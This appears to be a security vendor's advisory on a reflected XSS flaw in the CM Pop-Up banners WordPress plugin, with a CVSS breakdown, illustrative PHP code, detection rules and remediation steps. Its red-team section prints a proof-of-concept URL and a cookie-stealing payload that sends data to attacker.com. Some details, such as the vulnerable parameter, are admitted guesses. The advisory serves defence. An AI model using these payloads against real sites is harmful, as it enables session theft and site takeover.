CVE-2025-24694

Executive Summary

CVE-2025-24694 is a reflected Cross-Site Scripting (XSS) vulnerability in the CM Pop-Up banners WordPress plugin, developed by CreativeMindsSolutions. The flaw exists in versions up to and including 1.7.6, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator or any user with sufficient privileges, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, defacement, or redirection to malicious sites.

Given the WordPress ecosystem context, this vulnerability is particularly dangerous because it can be exploited without authentication (reflected XSS) and may target site administrators, potentially leading to full site compromise. No public exploit code or patch is currently available, increasing the risk for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Administrators should verify the plugin version and apply any available updates from the vendor immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: High. Reflected XSS in a WordPress plugin can lead to privilege escalation if an admin is targeted, potentially resulting in full site takeover.

Deep Dive & Mechanics

The vulnerability resides in the CM Pop-Up banners plugin, which handles the display of pop-up banners on WordPress sites. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. Specifically, a parameter (likely id, page, or a similar query string parameter) is echoed back without proper encoding, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
2. The attacker sends the URL to a victim (e.g., via email, social media, or a phishing link).
3. The victim, who is logged into WordPress, clicks the link.
4. The plugin processes the request and reflects the malicious input in the response without sanitization.
5. The victim's browser executes the injected JavaScript, which can steal cookies, perform actions on behalf of the user, or redirect to a malicious site.

WordPress Context: Since this is a WordPress plugin, the vulnerability is triggered within the WordPress admin or frontend context. The plugin's shortcode or admin page likely processes the vulnerable parameter.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's PHP files. A typical vulnerable pattern would be:

Vulnerable Code (PHP):

<?php
// In a function that handles a GET parameter
$id = $_GET['id'];
echo "<div class='banner'>Banner ID: " . $id . "</div>";
?>

Patched Code (PHP):

<?php
// Properly escape output
$id = isset($_GET['id']) ? esc_html($_GET['id']) : '';
echo "<div class='banner'>Banner ID: " . $id . "</div>";
?>

The patched version uses esc_html() (WordPress function) to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (No public exploit available):

<!-- Crafted URL -->
http://target-site.com/wp-admin/admin.php?page=cm-pop-up-banners&id=<script>alert('XSS')</script>

Steps:

1. Identify a vulnerable parameter (e.g., id, page, tab).
2. Inject a JavaScript payload: <script>alert(document.cookie)</script>.
3. Encode the payload if necessary (e.g., URL encoding).
4. Send the crafted link to a victim.

Advanced Payload:

// Steal cookies
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor web server logs for requests containing <script> tags or encoded equivalents.
• Look for unusual query parameters in requests to /wp-admin/admin.php or plugin-specific pages.

Honeypot:

• Deploy a decoy WordPress instance with the vulnerable plugin to capture attacker behavior.

Mitigation:

• Disable the plugin until a patch is available.
• Use a Web Application Firewall (WAF) to block XSS patterns.

Indicators of Compromise (IOCs)

• URL Patterns: ?page=cm-pop-up-banners&id=<script>
• Log Entries: Requests to /wp-admin/admin.php with page=cm-pop-up-banners and suspicious id parameter.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
• File Changes: Unexpected modifications to WordPress core files or plugin files (if admin account is compromised).

Detection Engineering

YARA Rule

rule Detect_CVE_2025_24694_XSS_Payload {
    meta:
        description = "Detects reflected XSS payloads targeting CM Pop-Up banners plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24694"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $plugin_param = "cm-pop-up-banners"
    condition:
        $plugin_param and $xss_payload
}

Sigma Rule

title: Reflected XSS in CM Pop-Up Banners Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-24694
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "cm-pop-up-banners"
            - "<script"
            - "%3Cscript"
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin pages (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24694 Reflected XSS in CM Pop-Up Banners"; flow:to_server,established; content:"cm-pop-up-banners"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the CM Pop-Up banners plugin until a patch is released.
2. Vendor Contact: Reach out to CreativeMindsSolutions for an update.
3. WAF Rules: Deploy a Web Application Firewall rule to block requests containing <script> in the id parameter.
4. Input Validation: Implement server-side validation to reject malicious input.
5. Output Encoding: Ensure all user-supplied data is properly escaped before rendering.
6. User Education: Train users to avoid clicking suspicious links, especially those containing query parameters.

Valters IT – Securing digital frontiers, one CVE at a time.